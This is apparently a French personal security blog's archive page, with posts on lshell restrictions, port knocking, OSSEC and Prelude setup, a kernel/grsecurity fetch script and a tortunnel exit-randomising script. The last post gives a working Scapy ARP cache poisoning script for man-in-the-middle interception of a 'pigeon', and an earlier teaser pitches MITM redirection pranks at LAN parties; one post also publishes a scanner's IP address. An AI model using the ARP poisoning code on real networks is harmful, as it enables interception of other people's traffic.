Archive pour le ‘Sécurité’ catégorie

Idée de redirection forcée en http lors de lan party, rencontre du libre …

24 avril 2010

Plop à tous … dans le genre : « Hacking for fun and fun »

Il peut arriver que l’on s’ennuie lors de participations à des « lan party », rencontres du libre (quoique) et que l’on veuille amuser la galerie, sans trop se faire remarquer.

Le but ici est de faire un man in the middle, pour rediriger toutes les requêtes http sur notre serveur HTTP avec une page étonnamment belle.
» En lire plus:Idée de redirection forcée en http lors de lan party, rencontre du libre …

Nouvelle version de Prewikka sur debian testing

6 avril 2010

Plop à tous …

ça fait déjà depuis quelques temps que la version 1.0 de prewikka (le frontend python de l’IDS prelude) est présente dans les dépôts de testing, mais comme je viens seulement de faire la mise à jour … ^^. (Au passage, prelude a aussi été mise à jour ;) et OSSEC est passé en 2.4 le mois dernier … il était donc temps de mettre à jour l’architecture de mon système de sécurité).
» En lire plus:Nouvelle version de Prewikka sur debian testing

Mise en place d’un portknocking pour limiter les ports accessibles sur le net

13 février 2010

Hello …

Protéger des services non-public (type ssh) d’être accédés par n’importe qui ça peut être assez utile (pour éviter les connexions intempestives pour la prise d’information, tentative de login/bruteforce …), le tout sans avoir à déclarer d’ip, …

On peut utiliser pour cela du portknocking, le but étant de mettre en place une séquence de « toc toc qui est là » qui permettra ensuite d’ouvrir la porte, et si la séquence n’est pas bonne … ^^).
» En lire plus:Mise en place d’un portknocking pour limiter les ports accessibles sur le net

Limiter les droits d’un utilisateur sur Debian/Ubuntu (lshell)

11 février 2010

Plop à tous ….

Lorsque l’on doit partager/administrer une machine, on a souvent peur que les individus fassent de belles boulettes sur la machine en question (surtout si l’accès est partagé entre plusieurs utilisateurs).

Une technique consisterait à faire un chroot via SSH (si ça vous tente ^^ mais c’est super long).

Ou passer par un truc du genre dans /etc/ssh/sshd_config :

  1. Subsystem sftp internal-sftp
  2. Match user nomUser
  3.          ChrootDirectory /home/nomUser
  4.          X11Forwarding no
  5.          AllowTcpForwarding no
  6.          ForceCommand internal-sftp

Qui bloque la plupart des commandes et n’autorise que le sftp …

Pour les admins flemmards, il existe une solution : lshell, on peut choper un .deb sur le site et une fois installé, il n’y a pas grand chose à faire :

Modifier le fichier /etc/lshell.conf (assez facile à comprendre), avec des paramètres du genre :
Pour les commandes autorisées :

  1. allowed         : ['ls','echo','cd','ll','svn','vi','rm']

Pour kiker l’utilisateur après un certain nombre d’erreurs :

  1. warning_counter : 2

dans ce cas, après 2 erreurs, la connection SSH est coupée.

On peut chrooter un utilisateur :

  1. path            : ['/var/www/']

Pour obliger un utilisateur à utiliser ce shell, il y a 2 cas :
On modifie un utilisateur :

  1. usermod –shell /usr/bin/lshell nomUser

On créer un utilisateur

  1. adduser nomUser –shell /usr/bin/lshell nomUser

Et voilà … connectez vous avec un utilisateur « lshellé » (pour ma part chrooté et limité aux commandes « allowed » plus haut) :

  1. You are in a limited shell.
  2. Type '?' or 'help' to get the list of allowed commands
  3. kikoo:~$
  4. kikoo:~$ ls
  5. index.php  license.txt  robots.txt  svnup.php  system
  6. kikoo:~$ cat /etc/ssh/sshd_config
  7. *** forbidden path -> "/etc/ssh/sshd_config"
  8. *** You have 0 joker(s) left, before getting kicked out.
  9. This incident has been reported.
  10. kikoo:~$ svn up
  11. À la révision 12.
  12. kikoo:~$ echo "LOL"
  13. LOL
  14. kikoo:~$ echo "LOL" > /etc/ssh/sshd_config
  15. *** forbidden synthax -> "echo "LOL" > /etc/ssh/sshd_config"
  16. - Kicked out -
  17. Connection to 1.3.3.7 closed.

Voilà … bonne administration ;)

De l’USB en grillade ?? Destruction de périphériques USB à la volées

2 février 2010

Plopinou …

ATTENTION : Cette méthode détruit purement et simplement tout périphériques USB branchés sur le port USB qui a été inversé. Vous devez savoir ce que vous faites, tout en sachant que vous êtes seul responsable de vos actes ;) .

Parfois on a besoin d’empêcher l’utilisation de périphériques USB sur son ordinateur, dans le cas des PC en entreprises, certain SI n’hésite pas à boucher les ports USB avec de la pâte à modeler/colle, …

» En lire plus:De l’USB en grillade ?? Destruction de périphériques USB à la volées

Automatiser la récupération et la compilation du kernel et de son patch GrSec

31 octobre 2009

Plop à tous…

Petit truc de geek … un script pour automatiser la récupération du dernier kernel stable depuis le site kernel.org puis le dernier patch grsecurity à appliquer sur le kernel en question (qui sort généralement un jour après la release du kernel).
Sur ubuntu, il faut tout d’abord installer le paquet kernel-package :

sudo apt-get install kernel-package

Puis récupérer le script suivant (nommé chez moi recupKernel.pl dans la commande qui suivra) :

  1. #!/usr/bin/perl
  2. require HTTP::Request;
  3. use LWP::UserAgent;
  4.  
  5. my $kernelUrl = recupKernel();
  6. my $kernelVersion = recupKernelVersion($kernelUrl);
  7. my $grsecUrl = recupGrSec($kernelVersion);
  8. my $grsecName = recupGrSecName($grsecUrl);
  9. if($kernelUrl && $grsecUrl)
  10. {
  11.  print "Url du dernier kernel stable : $kernelUrl\n";
  12.  print "Version du kernel : $kernelVersion\n";
  13.  print "Url du dernier patch GrSec stable : $grsecUrl\n";
  14.  print "Nom du Patch : $grsecName\n";
  15.  print "Recuperation du kernel : \n";
  16.  my $rK = `wget $kernelUrl`;
  17.  
  18.  print "Recuperation du patch : \n";
  19.  my $rG = `wget $grsecUrl`;
  20.  print "Extraction des données et compilation\n";
  21.  my $dT = `tar -xjf *.tar.bz2 && patch -p0 > $grsecName`;
  22. }
  23.  
  24. sub recupKernel
  25. {
  26.  my $req = HTTP::Request->new(GET => "http://kernel.org/");
  27.  my $ua = LWP::UserAgent->new;
  28.  $ua->agent("Firefox/4.0");
  29.  my $res = $ua->request($req);
  30.  if ($res->is_success) {
  31.   my $text = $res->content;
  32.   my $recherche = '<table id="brbtable([\n\t\r\W\w]*?)</table>';
  33.   $text =~ m/($recherche)/gm;
  34.   return recupHrefUrl($2);
  35.  }
  36.  return '';
  37. }
  38. sub recupHrefUrl
  39. {
  40.  my $ret=$_[0];
  41.  my $recherche = 'href="([^"]*)';
  42.  $ret =~ m/($recherche)/gm;
  43.  return $2;
  44. }
  45.  
  46. sub recupKernelVersion
  47. {
  48.  my $ret=$_[0];
  49.  my $recherche = 'linux-([0-9]+.[0-9]+.[0-9]+.[0-9]+)';
  50.  $ret =~ m/($recherche)/gm;
  51.  return $2;
  52. }
  53.  
  54. sub recupGrSecName
  55. {
  56.  my $ret=$_[0];
  57.  my $recherche = '/(grsecurity.*.patch)';
  58.  $ret =~ m/($recherche)/gm;
  59.  return $2;
  60. }
  61.  
  62. sub recupGrSec
  63. {
  64.  my $kernelV = $_[0];
  65.  my $req = HTTP::Request->new(GET => "http://www.grsecurity.net/test.php");
  66.  my $ua = LWP::UserAgent->new;
  67.  $ua->agent("Firefox/4.0");
  68.  my $res = $ua->request($req);
  69.  if ($res->is_success) {
  70.   my $text = $res->content;
  71.   my $recherche = "href=\"(test/grsecurity-[.0-9]+-$kernelV-[0-9]+.patch)\"";
  72.   $text =~ m/($recherche)/gm;
  73.   return "http://www.grsecurity.net/$2";
  74.  }
  75.  return '';
  76. }

Il suffit ensuite d’executer la commande suivante :

  1. perl recupKernel.pl && cd linux-* && make menuconfig && make-kpkg clean && make-kpkg –initrd –append-to-version "LoupZeur-grsec" kernel_image

Ce qui générera un fichier .deb qu’il faudra installer par un bon vieux dpkg -i.

PS: Lors de l’execution de la commande make menuconfig, une fenetre « bleu » apparaitra, il faudra selectionner la menu « security », puis grsecurity et choisir le niveau de sécurité « HIGH ».

PS2: Il faut aussi bien entendu selectionner ou deselectionner tout les modules inutiles (genre usb, support agp et … ).

Tentative de Hack … quand les kikoolols attaquent!!!

11 octobre 2009

Bijour …

Un truc assez amusant dernièrement, une tentative de hack de mon site … la deuxième attaque « importante » que mon site subit, la première avait fait planter ma base de donnée … prelude (couplé à MySQL) avait reporté les 100 000 alertes de ModSecurity (sûrement l’utilisation d’un soft genre Acunetix ou …) causant un DoS sur 2 jours le temps que la base de données sur mon RPS à 4Meg/s d’écriture de disque puisse écrire les données ^^ ou comment s’auto-détruire à cause de ses propres systèmes de sécurité en « période d’attaque » xD.

Depuis j’avais installé le mod_evasive pour blacklister les IP en cas d’accès répété dans des délais très court au service HTTP, et OSSEC qui a la capacité de bannir des IP en cas d’erreurs répétées sur différent services (ssh, http,…), histoire de limiter le spam dans ma base de données.

Et donc sur ce coup-ci, l’attaque a durée très peu de temps (environ 10 secondes) :
prelude-scan

Avant de se terminer par un sympatique ban ip :

ddos

Au passage je ferais remarquer à 82.246.200.104 (un freenaute) que mon blog utilise la dernière version de WordPress qui peut être facilement téléchargeable sur le net pour ensuite trouver des failles dans le site en local et pirater le site en question sans avoir à le scanner, donnant la possibilité pour le propriétaire de site web en question de découvrir la tentative d’attaque et éviter d’avoir son IP Fixe °(^.^)° publié sous le tag « kikoololz featured with scanner ».

Sinon, je recommande OSSEC comme IPS pour la protection de sites web, c’est assez sympa, on peut à la fois le coupler avec prelude-manager pour centraliser et visualiser l’ensemble des tentatives d’attaques sur une seule page web, envoyer un mail à l’admin (voir plusieurs en définissant des domaines d’expertises) et blacklister les attaques (même petites ^^ je me suis déjà fait ban de mon serveur en tentant une simple SQL Inj. dans l’url du blog … oui j’ai rien d’autre à faire).

Voilà pour ce sublime week-end …

Tor Proxy et randomiser le choix des serveurs de sorties

7 octobre 2009

Bonjour,

Je n’utilise plus le logiciel tor depuis que je suis tombé sur le sympatique tortunnel de Moxie qui permet d’avoir un débit super intéressant par rapport à tor (tout en gardant le chiffrement, mais en perdant les intermédiaires … et donc une partie de l’anonymat, mais tant que la connexion passe par un autre pays ;) ), l’un des problèmes étant le fait que le logiciel plante quelque fois (ou la connexion est coupée après un certain temps ou débit).

Donc tout d’abord le logiciel, il faut soit le compiler soit installer le paquet qui se trouve sur mon dépôt :

sudo add-apt-repository ppa:cipher.16/ppa
sudo apt-get update && sudo apt-get install tortunnel

Ensuite, il faut récupérer la liste des sorties de tor ayant un débit intéressant, un csv est dispo sur blutmagie, mais je voulais réviser le langage perl … ce qui donne :

  1. #!/usr/bin/perl
  2. # Create a user agent object
  3. require HTTP::Request;
  4. use LWP::UserAgent;
  5.  
  6. # Create a request
  7. my $req = HTTP::Request->new(GET => "http://torstatus.kgprog.com/index.php?SR=Bandwidth&amp;SO=Desc");
  8.  my $ua = LWP::UserAgent->new;
  9.  $ua->agent("Firefox/4.0");
  10. my $res = $ua->request($req);
  11. if ($res->is_success) {
  12.  my $text = $res->content;
  13.         my $recherche = "ip=([0-9.]*).*<td><img src='img/status/Exit.png' title='Exit Server' alt='Exit Server' /></td>";
  14.  while($text =~ m/($recherche)/g)
  15.  {
  16.   print $2."\n";
  17.   pos($text)+1;
  18.  }
  19. } else {
  20.    print "Le site est HS :s\n";
  21. }

On enregistre le fichier (pour moi tor.pl), on execute et on lance le proxy :

  1. perl tor.pl > /tmp/tor.txt && while true; do torproxy `cat /tmp/tor.txt |head -10 |tail -n $(expr ${RANDOM}|> % 10)|head -1`; done;

Et hop, ici on choisit un serveur parmis les 10 premiers, et on l’assigne à torproxy … etvoilà, profitez d’un anonymat (relatif) à la vittesse de votre ligne adsl (ou presque ^^).

Sécuriser un blog WordPress par un IPS avec wpsyslog2 et ossec

23 septembre 2009

Adeptes de l’utilisation du bazooka pour tuer une mouche ? Ou de l’utilisation d’IDS/IPS pour sécuriser votre blog visité par 5 personnes par an ?? wpsyslog2 est l’extension WordPress faite pour vous.

Petite mise en bouche en image (contenu du syslog et screen du module dans wordpress) :

wpsyslog2wpsyslog1

Pour cela, il suffit d’installer la dernière version de l’IPS Ossec (qui peut être couplé avec le manager de prelude).

Ayant déjà installé prelude en suivant mon tuto (‘tention recursivité powaaa!!!), la manip a été la suivante :

apt-get install libprelude-dev
  1. wget http://www.ossec.net/files/ossec-hids-2.2.tar.gz
  2. tar -xvf http://www.ossec.net/files/ossec-hids-2.2.tar.gz
  3. cd ossec-hids-2.2/src
  4. make setprelude
  5. cd ..
  6. sh install.sh

(Pour ceux qui n’ont (et ne veulent) pas installer prelude, il faut juste faire le wget, le sh install.sh et installer le module wpsyslog2 sur votre blog)

Pour l’install.sh, choisir le mode « local », et installer le logiciel où vous voulez.
Ensuite pour accoupler la bestiole avec prelude :

screen -R manager
prelude-adduser registration-server prelude-manager
CTRL+A puis D
screen -R register
prelude-adduser register OSSEC "idmef:w" localhost --uid ossec --gid ossec
CTRL+A puis D
screen -r manager

Attendre la fin de la création de la clé et suivre la manipulation pour le one-time-password généré (voir mon premier tuto pour prelude), puis modifier la configuration de ossec pour sortir les logs dans prelude.
Ajouter :

<prelude_output>yes</prelude_output>
  <prelude_profile>OSSEC</prelude_profile>
  <prelude_log_level>6</prelude_log_level>

Dans le fichier /var/ossec/etc/ossec.conf, entre les balises global.
Puis démarrer par un sympatique /var/ossec/bin/ossec-control start (ou suivant l’install /etc/init.d/ossec start) qui doit renvoyer ceci :

Starting OSSEC HIDS v2.2 (by Trend Micro Inc.)...
21 Sep 15:33:36 (process:25711) INFO: Connecting to 127.0.0.1:4690 prelude Manager server.
21 Sep 15:33:36 (process:25711) INFO: TLS authentication succeed with Prelude Manager.
Started ossec-maild...
Started ossec-execd...
Started ossec-analysisd...
Started ossec-logcollector...
Started ossec-syscheckd...
Started ossec-monitord...
Completed.

Pour montrer qu’il s’est accouplé avec prelude (you’re 4 53X M4ch1N3!!!!).

Ensuite, il suffit d’installer le plugins wpsyslog2 sur votre blog (comme n’importe quel autre plugins), et hop go ban da world ;) Le must … ça detecte aussi les commentaires refusés (spam), et on peut mettre en place des règles pour bannir les spammeurs ;)

Alors bon … pourquoi préférer Ossec vis-à-vis de prelude-lml ?

Pour ma part (étant un gros noob sur la question ^^), l’intérêt étant la possibilité offerte par défaut d’Ossec de ban les ip incriminés dans les logs (à partir d’un certain niveau de sévérité), alors que prelude se contente de logger les alertes (pas de réponses actives … c’est à peu près la différence entre un IDS avec le D de Détection et IPS avec le P de Prévention qui en plus de détecter, met en place des moyens plus ou moins complexe (ban ^^) pour bloquer les accès suivant de la source).

Pourquoi cette différences entre un IPS et un IDS ? (J’en sais rien ;) ), dans certain cas il vaut mieux alerter et ne rien faire (genre un système bancaire qui va commencer à drop les transactions de certains clients ça le fait pas … quoique ;) ).

Bé voilà bloggez bien ;)

PS: Un des autres trucs sympa, c’est les check system qui vérifient si des fichiers de configurations ont été modifiés depuis le dernier check (modifications du fichier host, de la config d’apache, des certificats d’openvpn, …). Si vous êtes plusieurs à administrer un serveur, ça peut être sympa pour avoir le suivi de l’administration de la bête.

Scapy pour forger des paquets en python

6 septembre 2009

Bijour à tous …

Aujourd’hui un truc super sympa : scapy, c’est un forgeur de paquet multi protocole (ARP, TCP, UDP, …) qui permet d’envoyer/receptionner des paquets depuis la couche OSI 2 (Liaison), mais aussi depuis des couches supérieur (y’a aussi d’autres trucs possible comme la lecture de fichier pcap pour réinjecter des trames sur le reseau depuis un dump et …).

Le truc intéressant, c’est qu’il peut remplacer pas mal d’autres outils (hping, arpspoof, tcpdump, tethereal, …) et tout ça en quelques lignes de python (sale bête).

Pour l’utiliser, il n’y a pas grand chose à faire : apt-get install python-scapy

Et ensuite on code son petit soft (on peut bien sûr en chercher sur le net, mais ça supprime une partie du plaisir …).

Par exemple, pour créer un outils d’arp cache poisonning pour du MITM (genre en remplacement de arpspoof ou …) :

#! /usr/bin/env python
  1. from scapy.all import *
  2. import sys
  3. if len(sys.argv) != 3:
  4.         print "Usage: %s ip1 ip2" % sys.argv[0]
  5.         sys.exit(1)
  6.  
  7. def arppoiso(routeur,pigeon):
  8.         mac = getmacbyip(routeur)
  9.         p = Ether(dst=mac) /ARP(op="is-at",psrc=pigeon, pdst=routeur)
  10.         sendp(p, iface_hint=routeur)
  11.  
  12. arppoiso(sys.argv[1],sys.argv[2])
  13. arppoiso(sys.argv[2],sys.argv[1])

Le code n’est pas très propre (c’est mon premier programme en python … la honte :p). L’utilisation est vraiment très simple : il suffit de connaitre le protocole qu’on utilise pour forger son paquet et ici empoisonner le routeur et la cible (le pigeon comme d’hab) pour faire rediriger tout les paquets vers son pc, (ne pas oublier le forwarding ;) ).

Bien sûr mon programme n’est pas très propre (j’ai lu de meilleurs implémentations de la chose, mais je voulais faire simple).

De très bon liens sur le sujet (pour comprendre différents protocoles et intéragir avec c’est super intéressant) :